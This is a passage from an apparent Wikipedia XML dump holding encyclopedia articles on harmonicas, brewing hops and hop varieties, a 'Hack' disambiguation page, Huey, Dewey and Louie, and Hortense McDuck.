The [[concertina]], diatonic and chromatic [[accordions]] and the [[melodica]] are all free-reed instruments which were developed alongside the harmonica.  Indeed, the similarities between harmonicas and so-called &quot;diatonic&quot; [[accordions]] or melodeons is such that in German the name for the former is &quot;Mundharmonika&quot; and the later &quot;Handharmonika&quot;, translated simply as &quot;mouth harmonica&quot; and &quot;hand harmonica&quot;.  The harmonica shares similarities to all other free-reed instruments by virtue of the method of sound production.

== Harmonica community ==
There is an active harmonica community on the Internet and in real
life, with conferences, cruises and everything.  SPAH (Society for the
Preservation and Advancement of the Harmonica) is one society with a
particularly amusing acronym. A [http://harp-l.org/mailman/listinfo/harp-l/ Harmonica Mailing List] is available with searchable archives.

== Harmonica manufacturers==
*[http://www.hohnerusa.com/ Hohner USA]
*[http://www.suzukimusic.com/harmonicas/ Suzuki Harmonica]
*[http://www.leeoskar.com/ Lee Oskar]
*[http://www.tombo-m.co.jp/eng/ Tombo]
*[http://www.seydel1847.com/ Seydel]
*[http://www.heringusa.com/ Hering USA]

== Some famous harmonicists ==

See [[List of harmonicists]].

==External links==
*[http://www.patmissin.com Pat Missin's web site]
*[http://www.volcano.net/~jackmearl/ Jack's Harmonica page], containing &quot;[[tablature|tabs]]&quot; and free lessons
*[http://www.mondorgel.nl/ Harry's Harmonica page], containing all models with pictures and information
*[http://www.grotch.tk/ Grotch Harmonica Software], Also containing &quot;[[tablature|tabs]]&quot;, and a program to transpose tabs (from different tunings, keys or positions) 
*[http://www.angelfire.com/music/HarpOn/index.html Chromatic harmonica reference]
*[http://www.angelfire.com/tx/myquill/index.html Diatonic harmonica reference]
*[http://www.macgamesandmore.com/free/harmonicatabs.html harmonica simulator] for Mac os X
*[http://www.geocities.com/god_save_the_queen77/harmonica.html Illuminate Harmonica Tabber], Open Source Harmonica Tabbing software, currently at Beta

[[Category:Woodwind instruments]]
[[Category:Free reed aerophones]]
[[Category:Sets of free reeds]]

{{Link FA|pt}}

[[da:Mundharmonika]]
[[de:Mundharmonika]]
[[et:Suupill]]
[[es:Armónica]]
[[eo:Harmoniko]]
[[fr:Harmonica]]
[[it:Armonica a bocca]]
[[lv:Mutes harmonikas]]
[[nl:Mondharmonica]]
[[ja:ハーモニカ]]
[[no:Munnspill]]
[[pl:Harmonijka ustna]]
[[pt:Gaita]]
[[ru:Губная гармоника]]
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[[uk:Губна гармоніка]]
[[zh:口琴]]</text>
    </revision>
  </page>
  <page>
    <title>HistoricalLinguisticsorPhilology</title>
    <id>14351</id>
    <revision>
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      <timestamp>2002-08-24T06:01:06Z</timestamp>
      <contributor>
        <username>Enchanter</username>
        <id>1104</id>
      </contributor>
      <minor />
      <comment>Correcting redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Philology]]</text>
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  </page>
  <page>
    <title>Hops</title>
    <id>14352</id>
    <revision>
      <id>41764486</id>
      <timestamp>2006-03-01T16:04:07Z</timestamp>
      <contributor>
        <username>Dforest</username>
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      <minor />
      <comment>rv to GeeJo</comment>
      <text xml:space="preserve">{{dablink|This article is about the use of hops in beer; for the botanical article on the hop plant see [[Hop (plant)]]. See also [[Hop]] for other meanings}}

[[Image:Hopfendolde-mit-hopfengarten.jpg|thumb|250px|right|Hop flower in a Hallertau hopgarden]]

'''Hops''' are the flowers of ''Humulus lupulus'' used as a flavouring and stability agent in [[beer]] since the seventeenth century. Hops contain several characteristics very favorable to beer: (a) hops contribute a bitterness that balances the sweetness of the malt, (b) hops also contribute aromas which range from flowery to citrus to herbal, (c) hops have an antibiotic effect that favours the activity of brewer's yeast over less desirable microorganisms and (d) the use of hops aids in &quot;head retention&quot;, the length of time that foamy head created by the beer's carbonation agent will last. The bitterness of commercially-brewed beers is measured on the [[International Bitterness Units scale]]. While hops plants are grown by farmers all around the world in many different varieties, there is no major commercial use for hops other than in beer. 

==History==
The first documented instance of hop cultivation was in 736, in the Hallertau region of present-day Germany (which is today the most important production centre with about 25% of the worldwide production), although the first mention of the use of hops in brewing was in 1079. Hops were introduced to British beers in the early 1500s, and hop cultivation began in the present-day United States in 1629.

Until mechanisation (in the late 1960s for the UK), the need for massed labour at harvest time meant hop-growing had a big social impact. Many of those hopping in Kent were Eastenders, for whom the annual migration meant not just money in the family pocket but a welcome break from the grime and smoke of London. Whole families would come down on special trains and live in hoppers' huts for most of September, even the smallest children helping in the fields.

Today, the principal production centres for the UK are in Kent (which produces Kent Golding hops) and Worcestershire, and Washington state for the USA; other important production areas include Belgium, as mentioned Germany and the Czech Republic.

==Brewing==
Hop [[resins]] are composed of two main [[acid]]s: alpha and beta acids.  

Alpha acids have a mild [[antibiotic]]/[[bacteriostatic]] effect against [[Gram-positive]] [[bacterium|bacteria]], and favours the exclusive activity of [[brewing yeast]] in the fermentation of beer. 

Beta acids do not isomerise during the boil of [[wort]], and have a negligible effect on beer flavour.  Instead they contribute to beer's bitter aroma, and high beta acid hop varieties are often added at the end of the wort boil for aroma.  Beta acids oxidize and oxidized beta acids form sulfur compounds such as DMS ([[dimethyl-sulfide]]) that can give beer off-flavours of rotten vegetables or cooked corn.

The flavour imparted by hops varies by type and use: hops boiled with the beer (known as &quot;bittering hops&quot;) produce bitterness, while hops added to beer later impart some degree of &quot;hop flavour&quot; (if during the final 10 minutes of boil) or &quot;hop aroma&quot; (if during the final 3 minutes, or less, of boil) and a lesser degree of bitterness.  Adding hops after the boil, a process known as &quot;dry hopping&quot;, adds hop aroma, but very little bitterness. The degree of bitterness imparted by hops depends on the degree to which otherwise insoluble [[alpha acid]]s (AAs) are [[isomer]]ized during the boil, and the impact of a given amount of hops is specified in [[International Bitterness Units scale|International Bitterness Units]]. Unboiled hops are only mildly [[bitter (taste)|bitter]].  

Flavours and aromas are described appreciatively using terms which include &quot;grassy&quot;, &quot;floral&quot;, &quot;citrus&quot;, &quot;spicy&quot;, and &quot;earthy&quot;. Most of the common commercial [[lager]]s have fairly low hop influence, while true pilseners should have noticeable noble hop aroma and certain [[ale]]s (particularly the highly-hopped style known as [[India Pale Ale]]) can have high levels of bitterness.

==Noble hops==
The term '''Noble hops''' traditionally refers to four varieties of hop which are low in bitterness and high in [[aroma]]. They are the [[central Europe]]an [[cultivar]]s, 'Hallertauer Mittelfrueh', 'Tettnanger', 'Spalter', and 'Saaz'. They are each named for a specific region or city in which they were first grown or primarily grown. They contain high amounts of the hop oil [[humulene]] and low amounts of alpha acids [[cohumulone]] and [[adhumulone]], as well as lower amounts of the harsher-tasting beta acids [[lupulone]], [[colupulone]], and [[adlupulone]].  Humulene imparts an elegant, refined taste and aroma to beers containing it. 
 
Their low relative bitterness but strong aroma are often distinguishing characteristics of European-style [[lager]] [[beer]], such as [[Pilsener]], [[Dunkel]], and [[Märzen|Oktoberfest/Marzen]].  In beer, they are considered aroma hops (as opposed to bittering hops); see [[Pilsner Urquell]] as a classic example of the Pilsener style, which showcases Noble hops.

As with grapes, the land where the hops were grown affects the hops' characteristics.  Much like [[champagne (beverage)|champagne]] may only be called &quot;champagne&quot; if the grapes were grown in the [[Champagne (province)|Champagne]] area of [[France]], Noble hops may only officially be considered &quot;Noble&quot; if they were grown in the areas for which the hops varieties were named.

'Tettnanger' hops come from '''Tettnang''', a small town in southern [[Baden-Württemberg]] in  [[Germany]]. The region produces significant quantities of hops, and ships them to [[brewery|breweries]] throughout the world.

==Hop varieties==
Particular hop varieties are associated with beer styles, for example [[Pilsener]]s are usually brewed with European (and often Czech) hop varieties such as Saaz, Hallertau, Strissel, and Spalt. English ales use hop varieties such as Fuggle, Golding and Bullion. North American varieties include Cascade, Columbia, and Willamette.

==Types of hops==
'''Ahtanum''' – An American aroma-type variety developed by Yakima Chief Ranches, similar to Cascade. Popularity seems to be increasing.  (Alpha acid: 5.7-6.3% / Beta acid: 5.0-6.5%)

'''Amarillo''' –  Popular American mid-range alpha variety developed by Virgil Gamache Farms in late 20th century. (Alpha acid: 8-11% / Beta acid: 6-7% )

'''Brewer's Gold''' – British bittering hop developed in 1934. Sometimes used as aroma variety in conjunction with noble hops. Related to Bullion. (Alpha acid 5.5 - 6.5% / Beta acid 2.5 - 3.5%) 

'''Cascade''' – Very successful and well-established American aroma hop developed in 1956 from Fuggle and Serebrianker (a Russian variety), but not released for cultivation until 1972. Piney, citrusy, and quite assertive. (Alpha acid: 4.5-6.0% / Beta acid: 5.0-7.0% )

'''Centennial''' – American aroma-type variety bred in 1974 and released in 1990. Similar to Cascade, perhaps with sweeter fruit notes and a slightly chunkier bitterness. (Alpha acid: 9.5-11.5% / Beta acid: 4.0-5.0%)

'''Challenger''' – English hop with a spicy character. (Alpha acid 6.5 - 8.5% / Beta acid 4 - 4.5%) 

'''Chinook''' – American cross between Petham Golding and a USDA-selected male. Big, rich, robust bitterness, with woody aroma characteristics. (Alpha acid 12.0 - 14.0% /
Beta acid 3.0 - 4.0%) 

'''Crystal''' – An American triploid variety developed in 1993 from Hallertau, Cascade, Brewer's Gold and Early Green. Quite aromatic, fruity. (Alpha acid 3.5 - 5.5% /
Beta acid 4.5 - 6.5%)

'''First Gold''' – English dwarf hop. A cross-pollination of Whitbread Golding variety and a dwarf male. It is like a spicier Golding, with a higher alpha and slightly richer bitterness. (Alpha acid 6.5 - 8.5% / Beta acid 3 - 4%)

'''Fuggles''' - Main English hop developed late 19th century. Considered by some to be less refined than Goldings, others prefer its juicier, more woody character. (Alpha acid 4 - 5.5% /
Beta acid 2 - 3%) 

'''Galena''' - Hugely popular American bittering hop developed from Brewer's Gold by open pollination in the state of Idaho. Has a moderate bitterness despite its high alpha content. (Alpha acid 12 - 14% w/w
Beta acid 7 - 9%)

'''Goldings''' - The traditional and very popular English aroma hop. Developed in 1790. Soft, earthy, vaguely farm-like aroma. Widely cultivated. Called East Kent Goldings if grown in East Kent, Kent Goldings if grown in mid-Kent, and Goldings if grown elsewhere. (Alpha acid 4 - 5.5% / Beta acid 2 - 3.5%)

'''Hallertau''' - The original German lager hop; due to susceptibility to crop disease was largely replaced by Hersbrucker in the 1970s and 1980s. (Alpha acid 3.5 - 5.5% /
Beta acid 3 - 4%) 

'''Hersbrucker''' - Common in German pilsners, this noble hop has a grassy, hay-like aroma, and is seldom used for bittering purposes.  (Alpha acid 3 - 5.5% /
Beta acid 4 - 5.5%)

'''Horizon''' - American high alpha cross made in Oregon in 1970 from Nugget. Soft bitterness. (Alpha acid 11 - 13% / Beta scid 6.5 - 8.5%) 

'''Liberty''' - American cross between Hallertauer Mittlefruh and downy mildew resistant male, developed in 1983. (Alpha acid 3.0 - 5.0% / Beta acid 3.0 - 4.0%)
 
'''Lublin''' - The grassy, hay-like signature of Polish lagers. The bitterness is slightly harsher than noble varieties, but the aroma is a little bit softer. 

'''Millennium''' - Bittering variety, born of Nugget and generally considered interchangeable. (Alpha acid 15.5% / Beta acid 4.8%)  

'''Mount Hood''' - Soft American variety developed from Hallertau. Frequently used in styles that require only a subtle hop aroma. (Alpha acid 5.0 - 8.0% / Beta acid 5.0 - 7.5%)

'''Northdown''' - Dual purpose hop in England developed in 1970s, with a Northern Brewer-like bitterness, and modest but refined aroma, well suited to backing up maltier style beers. (Alpha acid 7.5 - 9.5% / Beta acid 5 - 5.5%) 

'''Northern Brewer''' – Developed in England in 1934 from a cross between a female hop of wild American parentage and an English male. Grown in Europe and America as a dual-purpose hop, but best suited for bittering. Versatile, lending a moderate bitterness. Aroma wise it’s quite mellow, and usually used in combination with other hops. (Alpha acid 8 - 10% / Beta acid 3 - 5%) 

'''Nugget''' – Bittering variety. Nuggets generally have a poor reputation as being cheap and unrefined, but do have a pronounced herbal aroma. Examples include Sierra Nevada Bigfoot (bittering only), 

'''Pacific Gem''' – High alpha variety from New Zealand, but also contributes a berryish aroma. This, along with Hallertauer, are frequently organically grown in New Zealand, so this is most likely to be found in organic beers outside of NZ. Has a woody, berryish note. 

'''Perle''' – One of the least distinctive German hops, the dual-purpose Perle is often found in conjunction with other hops. 

'''Pride of Ringwood''' - Ubiquitous Australian hop. At one time, this was a high-alpha variety, but has been long surpassed. Considered by some rather malodorous, PoR hasn't caught on outside of the Australian lager world. 

'''Progress''' – Developed as a replacement for Fuggles, this has a higher alpha rating, and is often found in combination with Goldings. 

'''Saaz''' – The Bohemian hop, used in almost all Czech pilsners. It gives a soft bitterness, so IBUs can be high without harshness. The aroma is famous, and a fresh Pilsner Urquell is still the best place to learn it.

'''Santiam''' – Aroma variety with mid-range alphas. 

'''Select''' - Disease-resistant Spalt substitute 

'''Simcoe''' - High alpha variety with piney notes and a rounded bitterness. Has made increasing appearances the past couple of years, in both pilsners and ales. 

'''Spalt''' - Noble hop, with a fine, spicy aroma. Used in all manner of German-style beers both ale and lager. Is the signature hop for altbier. 

'''Strisselspalt''' - Classic French aroma hop, used mainly in lagers. Fairly neutral character can be tough to detect, but is similar to Herbrucker. 

'''Styrian Goldings''' – Actually derived from Fuggles, but grown in more continental conditions. I find them spicier, and more elegant than Fuggles, while retaining the delicious woodsy character. Used in a wide range of beers, from English ales to witbier and both English and Belgian strong ales. 

'''Target''' - Multiuse mid-to-high alpha hop from England. Parentage is from Kent Goldings. 

'''Tettnang''' – Classic hop of North German pilsners, Tettnang are used for both bittering and aroma (though the latter is often in conjunction with some form of Hallertau). Bitterness from Tettnang is rich, yet soft, so brewers can really crank up the IBUs without rendering the beer astringent. 

'''Tradition''' - Newish, disease-resistant variety from the Mittelfrüh lineage, with a refined, spicy, grassy aroma. 

'''Vanguard''' – American aroma cross developed from Hallertau in 1982. (Alpha acid 5.5% - 6% / Beta acid 6 - 7%)

'''Warrior''' - New bittering hop, whose popularity is on the rise due to slightly softer bitterness than some its contemporaries and lack of aroma properties. 

'''Willamette''' – Popular American development in 1976 of the English Fuggle. Mild aroma hop, with a herbal, sometimes gently fruity character. (Alpha acid 4.0 - 6.0% / Beta acid 3.0 - 4.0%)

'''Zeus''' – Aromatic American high-alpha hop with a chunky bitterness. (Alpha acid 15.0%)

==External links==
*[http://www.hops.co.uk/ UK hops]
*[http://www.uvm.edu/~pass/perry/hops.html USA hops]
*[http://www.realbeer.com/hops/FAQ.html Norm Pyle's Hops]
*[http://www.ratebeer.com/HopGuide.asp RateBeer hop quide]
*[http://www.brew-monkey.com/brewschool/hopdata.php Hop data]

[[Category:Beer]]
[[Category:Brewing]]</text>
    </revision>
  </page>
  <page>
    <title>Historical linguistics or philology</title>
    <id>14353</id>
    <revision>
      <id>15911915</id>
      <timestamp>2002-08-24T06:00:38Z</timestamp>
      <contributor>
        <username>Enchanter</username>
        <id>1104</id>
      </contributor>
      <minor />
      <comment>Correcting redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Philology]]</text>
    </revision>
  </page>
  <page>
    <title>Hack</title>
    <id>14355</id>
    <revision>
      <id>40977132</id>
      <timestamp>2006-02-24T06:10:29Z</timestamp>
      <contributor>
        <username>THB</username>
        <id>320771</id>
      </contributor>
      <comment>style</comment>
      <text xml:space="preserve">{{Wiktionarypar2|hack|hacking}}

'''Hack''' may mean:

* '''[[Horse]]''', especially an old and tired one, for hire
* '''[[Hackney carriage]]''', slang for a taxicab for hire, or by derivation the driver thereof
* '''[[standup comedy|Standup comic]]''', one who presents the material of other comics as his own
* '''[[Hack writer]]''', a writer for hire, paid to express others' thoughts and opinions, or a writer or journalist of dubious talent
* '''[[Slob]]''', aperson who is not very good at something, or just doesn't care about anything
* '''[[Party hack]]''', an unscrupulous individual of questionable competency, whose position comes by virtue of a devout loyalty to a political party
* '''[[Hack (technology slang)]]''', a joke, a programming exploit, or a commercial software break-in
* '''[[Roof and tunnel hacking]]''', a form of urban exploration mostly at educational institutions
* '''[[Lifehack]]''', an ingenious solution to everyday problems
* To '''[[Strike (attack)|strike]]''' a blow with an axe or sword
* To '''[[kick]]''' an opponent in the shins (in rugby football)
* '''[[Spading fork]]''' or '''clam hack''', with a short, bent handle, used to harvest clams
* '''[[Cough]]'''
* '''[[goal (sport)|Goal]]''', of a game such as footbag (hacky sack)
* '''[[Hacky sack]]''', a game played with the feet and a small beanbag
* '''[[Billhook]]''', in some UK dialects
* To '''[[Driving|drive]] fast''' (British slang)
* '''[[Hack saw]]''', a type of hand-held saw
* A piece of equipment used in the sport of '''[[curling]]''' by the curler making a shot, for traction

In '''mass media''':

* '''[[Hack (television series)]]''', a television series on CBS
* '''[[Hack (computer game)]]''', a Rogue-like computer game using ASCII graphics
* '''[[Hack (album)]]''', by ''Information Society''
* '''[[Hack (radio program)]]''', the Triple J current affairs radio program

==See also==
* [[Hacks (1997 movie)]], written and directed by Gary Rosen
* [[Hacks (2002 movie)]], written and directed by Glenn Rockowitz
* [[Hacker (disambiguation)]]
* [[List_of_people_by_name:_Hab-Haf#Hab-Hac|List of people by name: Hack-]]
* [[Hack and slash]], a style of play in computer, video and role-playing games 
* [[.hack]] (pronounced &quot;dot&amp;mdash;hack&quot;), a multimedia franchise
* [[What the Hack]], a convention


{{disambig}}

[[he:האקינג]]
[[nl:Hacken]]
[[pt:Hacking]]</text>
    </revision>
  </page>
  <page>
    <title>Huey, Dewey and Louie</title>
    <id>14356</id>
    <revision>
      <id>42063320</id>
      <timestamp>2006-03-03T15:33:11Z</timestamp>
      <contributor>
        <username>Tone</username>
        <id>266534</id>
      </contributor>
      <minor />
      <comment>/* The boys' names in other languages */</comment>
      <text xml:space="preserve">[[Image:hdl_rosa2.jpg|250px|thumb|Huey, Dewey and Louie Duck, with [[Donald Duck]], en route to their first meeting with [[Scrooge McDuck]]. From ''[[The Life and Times of Scrooge McDuck]]'' comic miniseries (''[[Uncle Scrooge]]'' #296).]]

'''Huey, Dewey and Louie Duck''' are [[fictional character|fictional]] [[duck]]s who appear in [[animated cartoon]]s and [[comic book]]s published by [[The Walt Disney Company|the Walt Disney Company]]. Identical [[Triplets|triplets]], the three are [[Donald Duck]]'s [[nephew]]s. Huey, Dewey and Louie were created by [[Ted Osborne]] and [[Al Taliaferro]], and first appeared in a [[newspaper]] [[comic strip]] on [[October 17]], [[1937]]. Their first animated appearance was in the theatrical short ''Donald's Nephews'', released [[April 15]], [[1938]].  

Huey, Dewey and Louie are the sons of Donald's sister; in ''Donald's Nephews'', Donald's sister is named &quot;Dumbella,&quot; but in the comics, her full name is [[Della Thelma Duck]]. In the original theatrical shorts, they were originally sent to visit Donald for only one day; in the comics, the three were sent to stay with Donald on a temporary basis, until their father came back from the [[hospital]] (the boys had wound up sending him there after a [[practical joke]] of putting [[firecracker]]s under his chair). In both the comics and animated shorts, the boys' parents were never heard from or referred to again after these instances, with the boys ending up permanently living with Donald. All four of them live in the fictional city of [[Duckburg]].

The boys are noted for having both identical appearances and personalities in most appearances, with the three sometimes shown as finishing each others' sentences as a running joke. In the theatrical shorts, Huey, Dewey and Louie would often behave in a rambunctious manner, sometimes committing retaliation or revenge on their uncle Donald for something he did to them. In the comics, however, as developed by [[Al Taliaferro]] and [[Carl Barks]], the boys usually are shown in a more well-behaved manner, usually helping their uncle Donald and great-uncle [[Scrooge McDuck]] in the adventure at hand.

Since the production of the [[1987]] [[animated series]] ''[[DuckTales]]'', Huey, Dewey and Louie can usually be told apart by the color of their hats and/or clothing: Huey dresses in [[red]] (although he used to wear [[Orange (color)|orange]]), Dewey in [[blue]], and Louie in [[green]]. Disney's archivist [[Dave Smith]], in &quot;Disney A to Z,&quot; said, &quot;Note that the brightest hue of the three is red (Huey), the color of water, dew, is blue (Dewey), and that leaves Louie, and leaves are green.&quot;  Before ''DuckTales'', the colors were not applied to the individual characters consistently; each character looked the same until colored, and often which colors belonged to which duck were decided by the colorist.

==Animation==
[[Image:ChronoD02.jpg|thumb|200px|right|The boys as they first appeared in the short ''Donald's Nephews''.]]
Huey, Dewey and Louie appeared in a large number of theatrical shorts with Donald, starting with ''[[Donald's Nephews]]'', released in [[1938]]. From there on, they appeared alongside Donald in the following shorts:

* ''Good Scouts''
* ''Donald's Golf Game''
* ''Hockey Champ''
* ''Sea Scouts''
* ''Mr. Duck Steps Out''
* ''Fire Chief''
* ''Truant Officer Donald''
* ''The Nifty Nineties''
* ''Donald's Snow Fight''
* ''Home Defense''
* ''Donald Duck and the Gorilla''
* ''Donald's Off Day''
* ''Donald's Crime''
* ''Straight Shooters''
* ''Soup's On''
* ''Donald's Happy Birthday''
* ''Lion Around''
* ''Lucky Number''
* ''Trick or Treat''
* ''Don's Fountain of Youth''
* ''Canvas Back Duck''
* ''Spare the Rod''
* ''The Litterbug''

[[Image:ScroogeWithNephews.jpg|thumb|200px|left|Huey, Dewey, and Louie, plus Scrooge McDuck, as they appeared on ''[[DuckTales]]''.]]
They later starred in the [[1987]] animated [[television]] series ''DuckTales'', in which they appeared in adventures with their great-uncle, Scrooge McDuck (Donald having enlisted in the [[U.S. Navy]]. The boys' personalities in this series were mainly based on their comic book appearances versus the theatrical shorts.

Huey, Dewey and Louie also starred in the [[1990s]] series ''[[Quack Pack]]'', in which the three were portrayed as [[teenager]]s. In ''Quack Pack'', the boys were given distinct personalities, with Huey serving as the group's leader, Dewey as a computer whiz, and Louie as enjoying sports.

After ''Quack Pack'', the boys were reverted to their original ages in future appearances, including [[2000s]] series ''[[Mickey Mouse Works]]'' and then re-aged in ''[[House of Mouse]]''. 

[[Clarence Nash]], Donald's voice actor, gave the voices to the boys in the cartoon shorts. Huey, Dewey and Louie were all voiced by [[Russi Taylor]] in ''DuckTales''. In ''Quack Pack'', they were voiced by [[Jeannie Elias]], [[Pamela Segall]], and [[Elizabeth Daily]], respectively. [[Tony Anselmo]] voiced the characters in ''House of Mouse'' and ''Mickey Mouse Works'', but Russi Taylor still voices the trio in other projects, such as the video game ''[[Donald Duck: Goin' Quackers]]'', and the [[direct-to-video]] films [[Mickey's Once Upon a Christmas|''Mickey's Once'']] and [[Mickey's Twice Upon a Christmas|''Twice Upon a Christmas'']].

==Comics==
Within the comics, Huey, Dewey and Louie often play a major role in most stories involving either their uncle Donald or great-uncle Scrooge McDuck, accompanying them on most of their adventures. Also seen in the comics is the boys' membership in the [[Scouting|Boy Scouts]]-like organization, the [[The Junior Woodchucks|the Junior Woodchucks]], including their use of the [[Junior Woodchucks Guidebook]], a manual containing all manner of information on virtually every subject possible.

In Disney comic writer [[Don Rosa]]'s (unofficial) continuity, Huey, Dewey and Louie Duck were born around [[1940]] in Duckburg. True to his jocular style, Rosa occasionally makes subtle references to the untold mystery of the three boys' life: What became of their parents? In his epic comic series, ''[[Life and Times of Scrooge McDuck]]'', Rosa pictures how Scrooge first met Donald and his nephews, saying: &quot;I'm not used to relatives, either! The few I had seem to have... disappeared!&quot; Huey, Dewey, and Louie answer: &quot;We know how ''that'' feels, unca Scrooge!&quot;

==Origin of the boys' names==
According to interviews by Taliaferro, Huey, Dewey and Louie were originally named after two political figures and an animator of the time:
*Huey was named after [[Huey Long|Huey Pierce Long]] of [[Louisiana]].
*Dewey was named after [[Thomas Dewey|Thomas Edmund Dewey]] of [[New York]].
*Louie was named after animator [[Louie Schmitt]].[http://us.imdb.com/name/nm0773436/].

The television series ''Quack Pack'' presented full names for the youths:
*Huey's full name was '''Huebert Duck'''.
*Dewey's full name was '''Deuteronomy Duck'''.
*Louie's full name was '''Louis Duck'''.

==Trivia==
*On a few occasions, there is a fourth nephew that appears, slipping through by a mistake of the artist. He has been named &quot;[[Phooey Duck]]&quot; by Disney comic editor [[Bob Foster]]. One short [[Egmont (media group)|Egmont]]-licensed Disney comic explained Phooey's sporadic appearances as a freak incident of nature.

*In the ''[[Kingdom Hearts]]'' video game, Huey, Dewey, and Louie somehow arrived to [[Traverse Town]] and set up an item shop, collecting money to fund their own adventures. They sell items and weapons Sora and company, but refuse to give a family discount to their uncle Donald. By the end of the game, the trio went back to Disney Castle, though in the sequel, go to [[Hollow Bastion]] to aid the reconstruction along with Uncle Scrooge and again run an item shop.

*Donald Duck isn't the only Disney character to have nephews. Other Disney nephews and nieces with unknown or rarely seen parents include [[Mickey Mouse]]'s [[Morty and Ferdie Fieldmouse|Morty and Ferdie]], [[Daisy Duck]]'s [[April, May and June]], [[Goofy]]'s [[Gilbert (Disney character)|Gilbert]], [[Gyro Gearloose]]'s [[Ratchet Gearloose|Ratchet]], [[the Beagle Boys]]' [[the Beagle Brats]] and [[the Beagle Babes]], [[José Carioca]]'s [[Zico and Zeca]], [[Fethry Duck]]'s [[Dugan Duck|Dugan]], [[Minnie Mouse]]'s [[Melody and Millicent]], [[Gladstone Gander]]'s [[Shamrock Gander|Shamrock]], and [[Clarabelle Cow]]'s [[Betsy Cow|Betsy]].

==Cultural references==
*The movie ''[[Silent Running]]'' features three robots named Huey, Dewey, and Louie.

*The [[Japan]]ese [[anime]] series ''[[Cowboy Bebop]]'' featured a trio of shuttle hijackers/bounty heads named Huey, Dewey, and Louie in one episode.

*At the end of every episode of [[Car Talk]] on [[NPR]], one of the fake credits is for the show's legal counsel, Hugh Louis Dewey of [[Dewey, Cheetham, and Howe]], known to his friends in [[Central Square]] (or perhaps [[Harvard Square]]) as Hughie Louie Dewey.

==The boys' names in other languages==
*Croatian: Hinko, Dinko i Vinko
*Czech: Kulík, Dulík a Bubík 
*Danish: Rip, Rap og Rup
*Dutch: Kwik, Kwek en Kwak
*Estonian: Hups, Tups ja Lups
*Finnish: Tupu, Hupu ja Lupu
*French: Riri, Fifi et Loulou
*Faroese: Dinni, Danni, Dunni,
*German: Tick, Trick und Track
*Hungarian: Tiki, Niki és Viki (in some comic book translations, either of the names are, without any particular system, replaced with Riki or Diki)
*Icelandic: Ripp, Rapp og Rupp
*Indonesian: Kwik, Kwek dan Kwak
*Italian: Qui, Quo e Qua
*Latvian: Tiks, Tiiks, Triks
*Lithuanian: Bilis, Vilis, Dilis
*Norwegian: Ole, Dole og Doffen
*Polish: Hyzio, Dyzio i Zyzio
*Portuguese: Huguinho, Zezinho e Luisinho (originally Nico, Tico e Chico, changed in mid 50's)
*Russian: Billy, Villy i Dilly
*Serbian: Raja, Gaja i Vlaja ([[cyrillic|cyr]]: &amp;#1056;&amp;#1072;&amp;#1112;&amp;#1072;, &amp;#1043;&amp;#1072;&amp;#1112;&amp;#1072; &amp;#1080; &amp;#1042;&amp;#1083;&amp;#1072;&amp;#1112;&amp;#1072;)
*Slovenian: Žak, Pak in Mak
*Slovak: Hui, Dui, Lui
*Spanish: Hugo, Paco y Luis (Mexico y Chile), Jorgito, Juanito y Jaimito (Spain) and Huguito, Dieguito y Luisito (Argentina)
*Swedish: Knatte, Fnatte och Tjatte
*Turkish: Cin, Can ve Cem

==External links==
*[http://www.toonopedia.com/nephews.htm Toonopedia page about Huey, Dewey, and Louie]
*[http://users.cwnet.com/xephyr/rich/dzone/hoozoo/hdnl.html The boys' profile on the Disney HooZoo]

[[Category:Disney characters|Duck, Huey, Dewey and Louie]]
[[Category:Characters in the Scrooge McDuck universe|Duck, Huey, Dewey and Louie]]
[[category:Kingdom Hearts characters]]
[[Category:Fictional ducks|Duck, Huey, Dewey and Louie]]
[[Category:Donald Duck universe characters]]
[[da:Rip, Rap og Rup]]
[[de:Bewohner von Entenhausen#Tick, Trick und Track]]
[[es:Hugo, Paco y Luis]]
[[fr:Riri, Fifi et Loulou]]
[[it:Qui, Quo, Qua]]
[[hu:Tiki, Niki és Viki]]
[[nl:Kwik, Kwek en Kwak]]
[[nb:Ole, Dole og Doffen]]
[[nn:Ole, Dole og Doffen Duck]]
[[pl:Hyzio, Dyzio i Zyzio]]
[[fi:Tupu, Hupu ja Lupu]]
[[sv:Knatte, Fnatte och Tjatte]]</text>
    </revision>
  </page>
  <page>
    <title>Hortense McDuck</title>
    <id>14357</id>
    <revision>
      <id>41398594</id>
      <timestamp>2006-02-27T01:45:59Z</timestamp>
      <contributor>
        <username>Dmetri1</username>
        <id>763209</id>
      </contributor>
      <text xml:space="preserve">'''Hortense &lt;nowiki&gt;McDuck&lt;/nowiki&gt;''' is a [[fictional character]] from the [[Scrooge McDuck universe]].


Hortense was introduced as a relatively well-connected member of her family. A daughter-in-law to [[Grandma Duck]], a sister to [[Matilda McDuck]] and [[Scrooge McDuck]], wife to [[Quackmore Duck]], sister-in-law of [[Goosetave Gander]] and [[Daphne Duck]], aunt to [[Gladstone Gander]], mother to [[Della Thelma Duck | Thelma Duck]] and [[Donald Duck]] and finally grandmother to [[Huey, Dewey and Louie Duck]]. It should perhaps be noted that Carl had forgotten that [[Al Taliaferro]] had already given the name of Donald's sister as [[Della Thelma Duck | Della Duck]]. To avoid confusion her full name was later given as [[Della Thelma Duck]]. 

Hortense was born on [[1876]] in [[Glasgow]], [[Scotland]] as the youngest child of [[Fergus McDuck]] and [[Downy ODrake|Downy O'Drake]]. She had an older half-brother named [[Rumpus McFowl]], an older brother named [[Scrooge McDuck]] and an older sister named [[Matilda McDuck]]. She would later have a younger half-brother named [[Gideon McDuck]]. [[Jake McDuck]], her paternal uncle was also living with them.

Hortense was born in a [[working class]] family living in relative poverty. In [[1877]] her ten-year-old brother Scrooge started working as a shoe polisher in an effort to help support his family. At the time Hortense was merely an infant sucking on her thumb. She observed from a distance with her father and sister while her brother earned his [[Number One Dime]]. Scrooge continued working for the next couple years. In his leisure time he would spend some time with his younger sisters. He occasionally repaired their [[doll]]s. Otherwise Hortense spent most of her time clinging to her older sister.

By [[1880]], Scrooge had come to realise that his earnings were not enough despite his hard work and efforts. He took the decision of emigrating to the [[United States|USA]] in hopes of earning his  own fortune. He was hired as a cabinboy in a merchant ship heading to [[New Orleans]], [[Louisiana]]. His family was there to see him depart. Scrooge noted that Hortense's &quot;Goodbye, Scrooge&quot; were her first spoken words. Though sad to see her brother leave, Hortense was obviously enjoying the rest of the family's attention.

